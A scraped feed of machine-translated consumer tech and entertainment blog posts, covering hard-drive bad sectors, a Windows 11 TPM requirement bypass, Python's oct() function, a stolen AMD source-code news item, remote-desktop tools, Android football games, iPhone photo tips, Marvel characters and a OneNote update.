correction code does not match the contents of the device, causing an error. These devices can be considered bad sectors, and fortunately they can be fixed with the Disk Check tool built into Windows.\nCause bad physical sector Normally, after a period of use, the hard drive will appear physical bad sectors. There are also physical bad sectors with hard drive right from the start. In general, modern day production technology is really not perfect and errors will definitely happen to some products.\nFor traditional hard drives, physical bad sectors may appear due to errors during production or during use. The error may be due to the dropped hard drive, the reader touching the plate surface and damaging some sectors, air or dust may have entered the drive, .\nCause bad logical reason Bad logic sector occurs by software related issues . For example, if your computer is turned off due to a power outage or unplugging the power cord, it may cause the hard drive to suddenly power down while writing data. In some cases, it may cause some sectors on the hard drive to contain data that does not match their error correction code. Therefore, this area will be marked as a bad sector, or bad sectors.\nIn addition, viruses and malware can also cause problems for computer systems and create logical bad sectors. Over time, they can spread throughout the hard drive.\nCheck and fix bad sectors The fact that bad sectors will cause serious consequences. Even if your computer's hard drive is working normally, it may contain bad sectors and they may develop and corrupt your data. This is why you should always back up data in your computer. Backup is the only thing to do to prevent data loss.\n  When the computer detects and notices bad sectors, the system will flag the bad sectors and ignore them every time it writes data. The broken sector will be located and the data will only be written to another area. However, if you have written important data to that sector before an error occurs, it cannot be restored.\nIf the hard drive has some bad sectors, it doesn't mean it is going to crash. However, over time, bad sectors can spread to other places and it is time to replace the new hard drive.\n  Fortunately, the Windows operating system has a built-in Disk Check tool (also known as chkdsk) that helps you scan your entire computer hard drive for bad sector detection and detection, mark them and fix if possible. You can run this tool from Windows' Run Command command line by typing the command line chkdsk. Or you can right-click on any drive partition to check, select Properties, select the Tools tab and click the Check Now button on Error-checking. Finally press the Start button to start the scanning process.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kuK%2B71maYm6elqXqjrcNmqp6bpKS%2FtHnOp2Syp6Wneqmt0Z1knaqZq7I%3D\n","link":"/post/know-about-bad-sectors-on-your-hard-drive/","section":"post","tags":null,"title":"Know about bad sectors on your hard drive"},{"body":"So how to bypass TPM 2.0 requirement when installing Windows 11? The answer is to follow the instructions below. With this guide, you can install Windows 11 regardless of TPM 2.0 requirements.\nBypass TPM 2.0 by editing Registry Editor during Windows 11 installation During the installation of Windows 11 on a computer without or without TPM 2.0 enabled, you will receive the message \"This PC can't run Windows 11\" as shown below.\n  Here you can start editing the Registry Editor to bypass TPM 2.0. Here's how to do it:\nStep 1 : Press Shift + F10 to open a command line window (CMD)\nStep 2 : On the CMD window, type regedit.exe and press Enter\nStep 3 : On the Registry Editor window, go to:\nHKEY_LOCAL_MACHINESYSTEMSetup Step 4 : Right-click Setup and select New \u0026gt; Key to create a new key named LabConfig\nStep 5 : Create 2 new DWORD values ​​in the newly created LabConfig key by right-clicking on LabConfig and then selecting New \u0026gt; DWORD (32-bit) Value . Name the 2 new values BypassTPMCheck and BypassSecureBootCheck\nStep 6 : Double-click the two newly created values ​​and then enter 1 in the Value data box then press Enter\n  \nAfter you save and exit, the error message above will disappear and you can install Windows 11 normally.\nBypass TPM 2.0 and Secure Boot by fixing the Windows 11 installation file In addition to editing the Registry Editor, you can also edit the Windows 11 installation file to bypass the TPM 2.0 and Secure Boot requirements.\nBefore you start, you need to prepare the following:\nUSB install Windows 10 Windows 11 ISO file (currently no official file) Step 1 : Mount the Windows 11 ISO file to the virtual drive by right-clicking the ISO file \u0026gt; Open with \u0026gt; Windows Explorer\nStep 2 : Go to the sources folder, find and copy the install.wim file of the Windows 11 installer\nStep 3 : Paste the install.wim file into the sources folder of the Windows 10 USB installation. Choose to overwrite the old file ( Replace the file in the destination ). In other words, you replace the install.wim file of the Windows 11 installer with the Windows 10 installer\nNote : If there is install.esd file in the source folder of the Windows 10 installer , you must delete it. Then paste the install.wim file of Windows 11 in.\nThat's it, you can use that USB to install Windows 11 normally, bypassing the TPM 2.0 and Secure Boot requirements.\nAbove are the two simplest ways for you to bypass the TPM 2.0 requirement and install Windows 11 normally. Good luck!\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddl8axrdKsZK2onWJ%2FcXnRnqiuoaKauqa602auoZ2eYravv9Oao6Whnpx6uLXNnaawq11mfg%3D%3D\n","link":"/post/steps-to-bypass-tpm-2-0-requirement-when-installing-windows-11/","section":"post","tags":null,"title":"Steps to bypass TPM 2.0 requirement when installing Windows 11"},{"body":"The oct () function is one of Python's built-in functions, which is used to convert an integer to the corresponding octal. What syntax is the oct () function, and what parameters, let's find out in this article Quantrimang.\n  Syntax oct () function in Python oct(x)  Parameters of oct () function:\noct () has only one parameter:\nx : is integer (object int) x could be:\nAn integer (binary, decimal or hexadecimal). If x not an integer, it is necessary to use __index __ () to return an integer Return value from oct () The oct () function converts an integer to the corresponding octal number.\nExample 1: How does the oct () function work? # thập phân sang bát phân print('oct(10) co gia tri la:', oct(10)) # nhị phân sang bát phân print('oct(0b101) co gia tri la:', oct(0b101)) # thập lục phân sang bát phân print('oct(0XA) co gia tri la:', oct(0XA))  Running the program, the result is returned:\noct(10) co gia tri la: 0o12 oct(0b101) co gia tri la: 0o5 oct(0XA) co gia tri la: 0o12  Example 2: oct () with custom objects ass Person: age = 23 def __index__(self): return self.age def __int__(self): return self.age person = Person() print('The oct is:', oct(person))  Running the program, the result is returned:\nThe oct is: 0o27  Here, the Person class implements __index __ () and __int __ (). That is why we can use oct () on Person objects.\nNote: For compatibility, you should implement __int __ () and __index __ () with the same output.\nSee also: Python built-in functions\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKiarWWWqrukwMiopWahnmK9usDHqKU%3D\n","link":"/post/the-oct-function-in-python/","section":"post","tags":null,"title":"The oct () function in Python"},{"body":"Last Thursday, AMD had to issue an official statement on stolen intellectual property last December. However, the details of what was stolen and who was the culprit were quite vague. However, AMD has been sending a series of removal requests under the Digital Copyright Protection Act (DCMA) to Github. So, AMD's RDNA2 GPU source code, the graphics processor used on next gen console generation, was immediately removed by Github.\n  According to Torrentfreak, AMD began sending removal requests from Wednesday after discovering that a hacker had repeatedly accessed AMD's system, discovered the source code of multiple GPU lines including Navi 10 and Navi 21, and then posted Upload to Github. Which sources are exposed can include RDNA2.\n Torrentfreak also spoke to the hacker, who said that the things she distributed were worth up to $ 100 million. In her Github post, the female hacker also indicated that her team is looking for people to buy the source code for the price she mentioned above. The worst case is that no one needs it, they will release all the information they have stolen. Before AMD could send a removal request to Github, at least 4 people had already copied and posted to their Git.\nThe hacker also added: \"Actually, we accidentally found this code in an AMD unprotected server through security breaches. I thought something important like this had to be protected in a way. It's nice and it's terribly encrypted. I haven't talked to AMD yet because I know for sure that instead of apologizing, they will come to sue us. So why not release it for everyone to see. \" .\nAccording to sources, apart from Github, AMD's GPU source code has been posted elsewhere such as GitLab as well as downloaded. The lesson is that in the internet age, once something is revealed online it is hard to delete it.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKymrqqTmnqku8OeZKieXam1pnnGqaxmnp%2BnerG%2FlGaYp5xdra%2BwxIysnKuhlah6uXnWmqpmq6Skuaa6jJqlnWWgpMC1scNmpqdll57BqcHB\n","link":"/post/the-source-code-of-the-gpu-for-ps5-and-xbox-series-x-was-stolen-and-posted-on-github/","section":"post","tags":null,"title":"The source code of the GPU for PS5 and Xbox Series X was stolen and posted on Github"},{"body":"Remote computer control software allows users to control a remote computer with another computer. It is really useful when technical support, file transfer, etc.\nIn general, for remote access, the computer needs to connect to a software, this computer is called a server (Host). Then, a computer or other device also installs the same software, the computer or device is called a client (Client) to connect to the server and control it. This article will introduce you to the top 15 software to control computers remotely. The software on this list is very simple, does not require too many techniques, just a few simple clicks, you can use them.\n1. TeamViewer   \nTeamViewer is the best free remote access software. It has a lot of great features and is very easy to install, no need to change the router or firewall configuration.\nIn addition to supporting video calling, voice calls and text chat, TeamViewer also allows file transfers, supports Wake-on-LAN (WOL) feature, can remotely monitor iPhone or iPad users' screens and even Releases can restart the computer into Safe Mode remotely and then reconnect automatically.\nServer side\nTeamViewer can run on Windows, Mac or Linux computers. It is safer for users to install the full TeamViewer version. However, the portable version called TeamViewer QuickSupport, is a great option if the computer wants remote control to access only once or cannot install the software. The third option is TeamViewer Host, which is the best option if you frequently connect to a remote computer.\nThe client side\nTeamViewer has several options to connect to the computer you want to control. Portable and installed programs are available on Windows, Mac and Linux as well as mobile applications for iOS, BlackBerry, Android and Windows Phone. That means you can use your phone or tablet to connect to the remote control computer while on the move.\nTeamViewer has a web application that can remotely access a computer without having to install. Some other features like the ability to share an application window (instead of the entire desktop) and the option to print files remotely to a printer.\nTeamViewer can run on Windows 10, 8, 7, Vista, XP, 2000, Windows Server 2012/2008/2003, Windows Home Server, Mac, Linux and Chrome OS.\nInstructions for controlling remote computers with TeamViewer Download : TeamViewer\n2. Remote Utilities   \nRemote Utilities is a free remote computer access software with some great features. It works by pairing two remote computers with \" Internet ID \". Users can control 10 computers at a time with Remote Utilities.\nServer side\nInstalling a Remote Utilities program is called a Host on a Windows computer for remote access. It also has the Agent option, which provides auto-running support without installation, even it can be launched from the flash drive. The server is granted an Internet ID number to share with the client when connecting.\nThe client side\nThe user will use the Viewer program to connect to the host or Agent software. You can download a separate Viewer or in the Viewer + Host file. Also Viewer also has a portable version if you do not want to install.\nWhen connecting the Viewer to the Host or Agent, users will not need to change port forwarding on the router, just enter the Internet ID number and password. In addition, it also has apps for iOS and Android users.\nRemote Utilities can manage remote tasks, transfer files, start computers, WOL features, access terminals (Command Prompt), launch programs, manage system information, chat in writing, access Update the registry and view the webcam remotely. In addition to these features, Remote Utilities also supports remote printing and viewing multiple monitors.\nAll Frequency Restart, Shutdown, Remote Off . with Command Prompt Remote Utilities supports Windows 10, 8, 7, Vista and XP, as well as Windows Server 2012, 2008 and 2003.\nDownload : Remote Utilities\n3. UltraVNC   \nAnother remote computer control software is UltraVNC. UltraVNC works like Remote Utilities.\nServer side\nWhen installing UltraVNC, users will choose to install Server, Viewer, or both. You can install UltraVNC Server as a system service so it always runs. This is an ideal choice if you regularly connect remote computers\nThe client side\nTo connect to UltraVNC Server, the user needs to install the Viewer section on the client. After configuring port forwarding in the router, you can access UltraVNC server anywhere with Internet connection via a mobile device that supports connecting VNC, computer installed Viewer, or Internet browser . All you need is the server's IP address to connect.\nUltraVNC supports file transfer, text chat, clipboard sharing and can even start and connect to the server in Safe Mode. Users of Windows 10, 8, 7, Vista, XP and Windows Server 2012, 2008, and 2003 can install and use UltraVNC.\nDownload : UltraVNC\n4. AeroAdmin   \nAeroAdmin is probably the easiest program to use to access remote computers. Most users don't have to install much and everything is fast.\nServer side\nAeroAdmin looks like the TeamViewer program. Just open the portable software and share your IP address or ID.\nThe client side\nThe client just needs to run the AeroAdmin program and enter the ID or IP address. There are two modes of View only and Remote Control for users to choose before connecting and then just press ' Connect ' to remotely control.\nWhen the server confirms the connection, you can start controlling the computer, share the clipboard text and transfer the files. AeroAdmin is completely free for both personal and commercial use, but it does not have a chat option. AeroAdmin can be installed on 32-bit and 64-bit versions of Windows 10, 8, 7 and XP.\nDownload : AeroAdmin\n5. Windows Remote Desktop   \nWindows Remote Desktop is remote access software built into Windows operating system.\nServer side\nTo allow the connection of a computer to Windows Remote Desktop, you must open the settings in System Properties (accessible via Control Panel) and allow remote connection via a specific Windows user in the Remote tab. Change the port forwarding in the router so that another computer can connect to it from outside the network.\nThe client side\nOther computers that want to connect to the server must open the installed Remote Desktop Connection software and enter the server's IP address.\nTip: You can open Remote Desktop via the Run dialog box (open it with Windows + R shortcut), just enter the command mstsc to start it.\nQuickly open the tools in Control Panel with Run Most other software on this list has features that Windows Remote Desktop does not have, but this remote access method seems to be the easiest and easiest way to control the computer's mouse and keyboard far. You can transfer files, print, listen to music from remote computers and transfer clipboard content. Windows Remote Desktop can be used on Windows from XP to Windows 10.\nHowever, while all Windows versions can connect to computers, not all versions of Windows can act as a server (for example, accepting requests for access from far). If you are using Home Premium or lower, your computer can only work as a client and therefore cannot be accessed remotely (but other machines can access it). Professional, Enterprise, and Ultimate versions of Windows are accessible remotely (acting as servers)\nUse Remote Desktop to access computers in the office and home networks 6. RemotePC   \nRemotePC is a program that controls remote computers. With the free version, users can only connect to one computer (unless upgrading to a paid version).\nServer side\nDownload and install RemotePC on the remote access computer. It supports Windows and Mac. Share ID and Key access with others so they can access the computer. Alternatively, you can create an account with RemotePC and then log in to the server to add accounts for easy access later.\nThe client side\nThere are two ways to access the RemotePC server from another computer. The first is through the RemotePC program installed on the computer, enter the server's ID and access key to connect and control the server or transfer files. Alternatively, use RemotePC on iOS or Android applications.\nUsers can receive audio files from remote computers, record what you are doing to a video file, access multiple monitors, transfer files, and chat text. Some of these features are not available if the server and client are running different operating systems.\nThe following operating systems are supported: Windows 10, 8, 7, Vista, XP, Windows Server 2008, 2003, 2000 and Mac (Snow Leopard and newer).\nDownload : RemotePC\n7. Seecreen   \nSeecreen (formerly known as Firnass) is an extremely compact free remote access software (500 KB), perfectly suited to users' needs, instant support.\nServer side\nOpen the program on the computer to control. After creating an account and logging in, you can add other users to the menu by email address or username. Add the client in the \" Unattended \" section for unattended access. To connect, just share the ID and password with the client.\nThe client side\nIn order to connect to the server using Seecreen, users need to enter the server ID and password. When two computers are paired, you can start calling or sharing screens, separate windows or part of the screen. When sharing screens, you can record session access, transfer files and run remote commands. Screen sharing must be started from the client computer. Seecreen does not support clipboard synchronization.\nSeecreen is a JAR file that uses Java to run, it supports all versions of Windows, as well as Mac and Linux operating systems.\nDownload : Seecreen\n8. Chrome Remote Desktop   \nChrome Remote Desktop is a Google Chrome browser extension, allowing you to set up your computer for remote access from any other Chrome browser.\nServer side\nYou need to install this extension in Google Chrome and then authorize remote access to that computer via your personal PIN. To create a PIN you need to log in to your Google account like Gmail or YouTube login information.\nThe client side\nTo connect to the server browser, log in to a different Chrome browser with the same credentials and install the same extension. Because you are logged in, it is easy to see the names of other computers, just select it and start remote access.\nThere are file shares, simple copy / paste implementation, but no advanced settings in Chrome Remote Desktop like other remote computer control programs on this list. However, it is very easy to configure and allows users to control and view computers from another Chrome browser.\nBecause Chrome Remote Desktop runs entirely in the Google Chrome browser, it can work with any operating system using Chrome, including Windows, Mac, Linux and, of course, Chromebooks.\nControl remote computers with Chrome web browser Download : Chrome Remote Desktop\n9. AnyDesk   \nAnyDesk is a remote control software that can install or run a portable version.\nServer side\nLaunch AnyDesk on the computer you want to connect to and write to AnyDesk-Address or set the password manually. When the client connects, the server will be asked to allow or disallow audio, control, clipboard, and keyboard / mouse lock capabilities.\nThe client side\nOn another computer, run AnyDesk and then enter the server's AnyDesk address in the Remote Desk section . If you have set up unattended access in the settings, the client does not need to wait for the server to accept to connect.\nAnyDesk can enter full screen mode, balancing the quality and speed of connection, transferring files and sounds, clipboard synchronization, running shortcuts and capturing remote desktop screenshots. AnyDesk works with Windows (from Windows 10 to Windows XP), macOS and Linux.\nDownload : AnyDesk\n10. LiteManager   \nLiteManager is a remote access program and it is like Remote Utilities. However, unlike Remote Utilities, which can control a total of only 10 computers, LiteManager supports up to 30 slots to store and connect to remote computers, and also has many other useful features. .\nServer side\nComputers that need to access must install LiteManagerFree - Server.msi, contained in ZIP file downloads. There are many ways to connect to the server such as via IP address, computer name, or an ID.\nThe easiest way to set up is to right-click the server program in the notification area of ​​the taskbar, select Connect by ID , delete the existing content and click Connected to create a new ID.\nThe client side\nAnother program, called Viewer, is installed for the client to connect to the server. To connect, enter the host computer ID created in Connect by ID in the Connection menu .\nAfter connecting, the client can perform all kinds of tasks, like Remote Utilities, such as working with multiple monitors, transferring files, full control or read-only access to computers Other, run remote task manager, launch remote files and programs, get audio files, edit registry, text chat, etc. LiteManager works on Windows 10, 8, 7, Vista and XP\nDownload : LiteManager\n11. Comodo Unite   \nComodo Unite is another free remote access tool that creates secure VPN connections between computers. When VPN is set up, you can remotely access applications and files through client software.\nServer side\nInstall Comodo Unite program on the computer you want to control and then create an account.\nThe client side\nTo connect to a Comodo Unite server, just install the same software and then log in with the same username and password. To transfer files the user must start a conversation, it is not as easy as other software on this list. However, making a chat here is very safe because there is a VPN connection. Comodo Unite works on Windows 10.8, 7, Vista and XP (32-bit and 64-bit versions).\nDownload : Comodo Unite\n12. ShowMyPC   \nShowMyPC is a free portable software that controls a remote computer similar to UltraVNC but uses a password to create a connection instead of an IP address.\nServer side\nRun the ShowMyPC software on your computer and then select Show My PC to get a unique ID number called Share Password . This ID is the number you have to share with others so they can connect to the server.\nThe client side\nOpen the same ShowMyPC program on the client computer and enter the ID from the server program to create the connection. In addition, users can access the ShowMyPC website (in the \"View PC\" box) and run a Java version of the program on the browser, enter the ID address and connect.\nIt has options such as sharing webcams via web browsers and scheduled meetings, allowing someone to connect to your computer via a personal web link that launches the Java version of ShowMyPC. The ShowMyPC client can only send some shortcuts to the server. It works on all versions of Windows.\nDownload : ShowMyPC\n13. join.me   \nJoin.me is a remote computer access program from manufacturer LogMeIn, providing quick access to another computer via an Internet browser.\nServer side\nTo connect remotely, users need to download and run the join.me software, which allows to display the entire computer or just an application in the Start section.\nThe client side\nRemote viewers only need to enter join.me personal code into their own settings in Joint section. Join.me supports full screen mode, calls, text chat, multiple screens and allows up to 10 people to view the screen at the same time.\nIn addition, the client can access the join.me homepage to enter the server's code without downloading any software, the code must be entered in the \" JOIN MEETING \" box. Join.me is available for all Windows and Mac versions.\nDownload : Join.me\n14. DesktopNow   \nDesktopNow is a free remote access program from NCH Software. After forwarding the correct port number in the router and registering a free account, you can access the computer from anywhere through a web browser.\nServer side\nThe computer needs to install DesktopNow software. When the program is launched for the first time, the user must enter the email and password to be able to use the same information on the client side.\nThe server can configure the router to forward the appropriate port number or select cloud access during the installation process to connect directly to the client.\nThe client side\nThe client only needs to access the server through a web browser. If the router is configured to forward port numbers, the client will use the server's IP address to connect. If you choose to access via the cloud, a specific link will be sent to the client. DesktopNow has an excellent file sharing feature that allows downloading of shared files remotely in an easy-to-use file browser.\nThere is no dedicated application to connect to DesktopNow from a mobile device. However, the website is optimized for mobile phones, so you can view shared files easily. Windows 10, 8, 7, Vista and XP all support DesktopNow, including 64-bit versions.\nDownload : DesktopNow\n15. BeamYourScreen   \nAnother free portable remote access software is BeamYourScreen. This software works like other software on this list by providing the ID number to connect.\nServer side\nBeamYourScreen server uses BeamYourScreen for Organizers (Portable) program. Since this is portable software, there is no need to install it, just run it and connect.\nIn addition, it has an installed version called BeamYourScreen for Organizers (Installation). Just click the Start Session button to connect. You will receive some shared access sessions with other machines to connect.\nThe client side\nThe client can also install the Portable version or the installed version of BeamYourScreen, but there is a dedicated program called BeamYourScreen for Participants, which is a small executable file that can be launched similarly to the program. portable.\nEnter the server session number in the Session ID section to start the connection. After connecting, you can control the screen, share text clipboard, files, and chat text.\nA pretty unique thing about BeamYourScreen is that you can share IDs with multiple people to join and look at the same screen. You can even go to Go.beamyourscreen.com to view the server screen without installing any software.\nBeamYourScreen works with all versions of Windows, Windows Server 2008 and 2003, Mac and Linux.\nDownload : BeamYourScreen\nWhere is LogMeIn?\nUnfortunately, LogMeIn, LogMeIn Free's free products, no longer exist. This is one of the more popular free remote access services, so unfortunately it is no longer supported. However, there are many other great remote access software on this list to choose from.\nSee more:\nWays to access and control your computer remotely Access and control remote computers with iPhone phones How to use ASUS Remote Link to control remote Windows computers ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpsZp6imrJuvsSmpq2dXZi8rrzUrZyrZZOku7W%2BzqVkraefocA%3D\n","link":"/post/top-15-free-remote-computer-control-tools/","section":"post","tags":null,"title":"Top 15 free remote computer control tools"},{"body":"If you want to play soccer on your phone without an internet connection, try the top 5 offline football games for Android right here.\nIt is not difficult to find football games for Android, but finding a good choice, worth downloading and spending time to play is not easy. Compared with the online football game, the offline football game has many limitations such as the lack of online features. Even so, they still have their own unique features that attract players and allow you to play games without an internet connection.\nHere are the top 5 best offline football games for Android 2021 that you should not miss. Some of the options on this list support both Online and Offline modes for you to explore.\n5 cool offline football games for Android 1. Final Kick Although playing online offers the best experience, Final Kick offline mode with 20 different tournaments is still worth your time. The unique feature of this football game is probably its simple and intuitive interface, along with realistic graphics, using the latest technology in motion recording. You will feel the tension of the penalty shootout as if you were on the real pitch. Satisfy your passion for a ball and feel the heat of football as you compete with the best teams in the world in the final.\n  Unique features of Final Kick:\n- Support online mode with real-time matches and offline mode with 20 attractive tournaments.\nVivid effects with the latest in motion recording technology.\n- Intuitive interface, simple controls.\n- Create your dream soccer team by customizing the players.\nDownload here.\n2. Dream League Soccer Dream League Soccer is an offline soccer game that focuses on authentic gameplay. Practice and perfect your style, take your squad to the field and compete with other teams to enter the inner rounds of the tournament. The best feature of Dream League Soccer is the gameplay and realistic graphics with 60fps, everything looks good if you play Dream League Soccer on a pretty, well configured device.\n  Highlights of Dream League Soccer:\n- Recruit soccer superstars and form your dream team.\n- Compete with AI in dramatic tournaments.\n- Win, complete events to receive valuable rewards.\n- Build your own stadium to showcase the superstars in the team for fans.\nDownload here.\n3. Score! Hero Score! Hero is a free 3D soccer game where you control specific situations in the match instead of everything. Tear off defense with precise ball shots, or bend shots into the high corner. The game offers more than 800 levels for you to choose from. Besides, Score Hero also has smooth effects and realistic 3D graphics. Create and customize your own \"scoring hero\" to win, receive awards and trophies, change clubs, represent your country and go to glory.\n  Highlights of Score! Hero:\n- 800 fascinating levels and many new levels will be added in the future.\n- Participate in exciting events to receive badges and glory.\n- AI player adapts to your passes and shots to make each experience different.\n- Beautiful 3D graphics, smooth effects, and easy controls.\nDownload here.\n4. Soccer Stars Soccer Stars is a table hockey style where you control a team of minimized \"icons\" to pass the ball to each other. The gameplay of Soccer Stars is quite easy and anyone can get used to and play with its simple \"flick\" control style. If you want to experience a highly stylized soccer game, Soccer Stars is definitely worth downloading.\n  Unique features of Soccer Stars:\n- Online mode: compete with friends and other players in online tournaments.\n- Offline mode: face off against AI in exciting matches.\n- Unique gameplay with simple controls.\n- Form the team of your dreams and collect many prestigious trophies.\nDownload here.\n5. World Soccer League World Soccer League is an offline football game that helps you improve your soccer skills with 4 different game modes including Exhibition, Cup, League and Training. The World Soccer League offers 60 national teams, 60 clubs and a total of 2000 players, and supports 15 different languages. What's more, during the match, with the smooth camera movement, you'll be able to enjoy stunning dribbles and thrilling ball plays.\n  Unique features of World Soccer League:\n- 60 national teams, 60 clubs and a total of 2000 players.\n- 4 game modes: Exhibition, Cup, League and Training.\n- Supports 15 different languages.\n- Real football experience with great dribbles and top kicks.\nDownload here.\nPosts have shared for you the best offline football games for Android. In addition to the offline game mode, some of the above options also support online modes for you to participate in real-time football matches with friends and players around the globe.\nTop 5 soccer game ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kqJ6WobavsYyfpqiskpa5rXnGmqSeZZakv26tzZ2pqKGUYq%2Bmv9NmaWlqYQ%3D%3D\n","link":"/post/top-5-offline-football-game-for-android-best-2021/","section":"post","tags":null,"title":"Top 5 offline football game for Android best 2021"},{"body":"With these tips, photos taken with your iPhone will have better color filters, clear layouts, better focus .\n1. Use grid mode During the process of taking pictures, the iPhone camera is very easy to tilt the image, affecting the photos taken on the horizon. Therefore, turn on the grid mode on the camera so that you can compose your photos more clearly (eg 1/3 or 2/3 composition).\n  This mode divides the screen into 9 shapes in a 3 × 3 rectangle. To show gridlines, simply go to Settings\u0026gt; Camera\u0026gt; Grid to enable this feature.\n2. Turn on the HDR feature HDR (High Dynamic Range - large dynamic range). The working principle of the HDR mode is that after the user presses the shutter button, the smartphone will automatically take many photos with each different brightness, then combine them into one to balance the light.\n  This feature will brighten the image in backlit conditions, while it does not cause the image to \"burn out\". With low-light shooting conditions, HDR is a savior, while giving both bright results but also high detail.\n3. Take Live Photos For many, this feature is not very appealing. A live photo is like a short film in which the captured object will move. So if you want to capture the moment then shoot the Live mode and choose the desired image.\n  4. Adjust the exposure of the photo You just need to tap the screen to adjust the exposure of the photo. If a part of the photo is very dark, you can press the dark area to improve exposure.\n  At this point, you see a sun icon on a slider, drag the slider up to increase the brightness or pull down to dim the area of ​​your choice. However, there may be some parts of the image that will be blown out, so you need to adjust it just enough to need to be between light and dark.\n4. Shoot with available photo color filters While taking a photo, swipe up from the bottom to be able to see through the available color filters of the iPhone. Sure, color filters will not disappoint you. Use it for street, landscape, portrait . will be very helpful.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kraGgqHq1u4yhnKWoXa68tnnTmqKeZZKawbWx0WanoaekpMBuw8itn2axn6q%2FbrXPoaannQ%3D%3D\n","link":"/post/top-5-tips-to-help-you-take-better-photos-with-your-iphone/","section":"post","tags":null,"title":"Top 5 tips to help you take better photos with your iPhone"},{"body":"There are many special abilities that we often see in comic characters such as supernatural strength or endurance, the most outstanding is still the ability to recover from wounds that seem to lead to death - for example, seals. The most iconic figure in Marvel is the Healing Factor.\n Although there are races born with an enhanced Healing Factor like Asgardian or a few vampires and werewolves, we will take a look at a few characters with special abilities including the Healing Factor. See which Marvel characters are the best at recovering wounds.\n10. Slapstick\n   The Slapstick character is a special example on this list, because while his resilience is among the best in the Marvel universe, it has few side effects. The first Slapstick appeared in The Awesome Slapstick in 1992 before appearing in series like New Warriors or The Initiative.\nThe Slapstick is a normal person but is turned into an animated character by a multi-dimensional device. Therefore, it gives him many special abilities such as not being damaged as cartoon characters. While this does not mean it is a Healing Factor, he is a regenerative character worth mentioning.\n9. Mystique\n   Raven Darkholme / Mystique is a super strong mutant who often \"rises and falls\" from the X-Men. Thanks to the power of changing her appearance, she can also recover very quickly as well as rearrange the internal organs to avoid receiving severe injuries to the body. However, a decapitating blow could bring Mystique back to heaven, but we wouldn't be surprised if she could survive.\n8. Wolverine\n   Wolverine is known as one of the best Healing Factor owners in the world of comics, but it's really just because he got . too much damage that this ability is always up to the limit of it.\nThe truth is that despite being extremely resilient, Wolverine's Healing Factor must always help his body fight the toxins secreted from his Adamantium skeleton. Even when the metal skeleton was pushed out of the body, Wolverine's healing power activated at a much faster rate than normal.\n7. Sabretooth\n   Victor Creeed is a mutant with enhanced healing power due to the Weapon X test program. Under the nickname Sabretooth, his Healing Factor always helps him recover after a terrible battle.\nAfter a battle with Wolverine, Sabretooth had a lobectomy, which took him months to recover and change the nature of this mutant. But after being accepted into Weapon X, Sabretooth was able to recover very quickly, making him a very dangerous villain for Wolves and the X-Men mutant squad.\n6. X-23\n   Wolverine's cloned daughter inherited many things like her father, especially her superior Healing Factor ability. Many times readers see X-23 recover from terrible accidents, reconnect limbs and even recover large parts of the body quickly.\nShe even criticized Wolverine's Healing Factor too slowly for the wounds X-23 has experienced. The lack of adamantium, the completed gene, and the youth make it possible for Laura to recover much faster than Wolverine-related characters - even her older brother Daken, who must really focus. can recover completely.\n5. Deadpool\n   Wade Wilson actually thanks to a similar testing program to eliminate Wolverine malignant cancer can inherit Healing Factor. Deadpool's ability to deform the body but has the ability to push him to become one of the immortal characters in the universe of Marvel.\nIn the recent Black Panther vs Deadpool series, it is revealed that Healing Factor also . restores even malignant cancer cells, leading to the Black Panther hero having to name it Dying Factor.\n4. Elixir\n   Josh Foley is an Omega-class mutant with the ability to control all his genes, even those close to him. Elixir's power has been gradually perfected to perfection, even showing a dark side that he can kill people as easily as healing them.\nUnder the name Elixir, Josh not only heals himself and others but he also has the knowledge of years of medical research implanted in his brain. Therefore, he is also able to revive himself, and he is one of the five mutants of the X-Men detachment possessing this ability.\n3. Hulk\n   After being exposed to radiation from a gamma bomb designed by himself, Bruce Banner realized that inside he also harbored a giant green monster, which appeared whenever Banner became angry. Hulk possesses unparalleled recovery ability for other superheroes, which is very important when he is a melee-oriented character.\nAs well as his powers, Hulk's Healing Factor is also multiplied many times, even increasing as he gets angry. Many times the green giant has shown that through his anger he can recover almost instantly, from a dry skeleton to a healthy one in a few seconds.\n2. Madcap\n   Although we don't know much about Madcap's life before being transformed by one of AIM's chemical experiments, this accident gave him the power to recover beyond the threshold of other characters and eliminate. pain, along with the ability to drive others crazy.\nNo matter how big the wound is, Madcap can recover like normal, even after being beheaded - the two parts of the body will still work independently as if nothing had happened. Deadpool thinks that Madcap has the superiority of the Healing Factor, and that after he is combined with Wade, God knows the madness's recovery limit.\n1. Sentry\n   Bob Reynolds / The Void / Sentry is one of the most OP characters in the Marvel universe, stemming from the ability to change reality and molecules. Although this is not really a Healing Factor when compared to the other characters on this list, it is frequently mentioned as an example of the abilities that Sentry can do.\nSentry has many times come down to meet the king, whether he is shot in the head by his wife or miraculously torn during the battle, he can always revive with a completely healthy state, depending on the according to the mental stability of the brain. Sentry has been buffed even more recently during the Annihilation: Scourge event.\nAccording to CBR\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wqGYq5mTqbKzv4yhmK%2BdXam1pnnMqKqtZaCkxKa%2Bxa6jZpmSnrmqwNhmq6hlmJqurXnToZymq5Whw6a%2FjKaYq66VoXq1tMRmq7CnXZuutbTEq2ScoJmhsbOxzWauqKSmmr%2BqusRmn5qrXaO8tXnRnpicoJWZerW0xGarqKhdag%3D%3D\n","link":"/post/10-characters-have-the-most-powerful-ability-to-heal-themselves-marvel-the-two-father-children-wolverine-has-not-reached-the-top-5/","section":"post","tags":null,"title":"10 characters have the most powerful ability to heal themselves Marvel, the two 'father' children Wolverine has not reached the top 5"},{"body":"The new Microsoft update for OneNote notes app adds finger drawing, no touch pen, runs on Windows 8 and Windows RT operating systems.\nWith the new update, the OneNote note app adds the 'Draw' feature to draw with your finger, no need for a stylus. There are many different color strokes for users to choose, such as: blue, black, green, red . Eraser and Undo tools to remove what you do not like.\n  The interface features 'Draw' finger painting in OneNote\nUsers can choose different colors and strokes with different or dark colors. You can save your favorite pen strokes as default.\nMoreover, for devices without touch screens, users can draw with a mouse or tablet via USB.\nOneNote allows users to write notes and sync it with a secure, secure cloud service. OneNote has also been redesigned by Microsoft for devices running Windows 8 and Windows RT operating systems that allow touch control, turning notes pages more 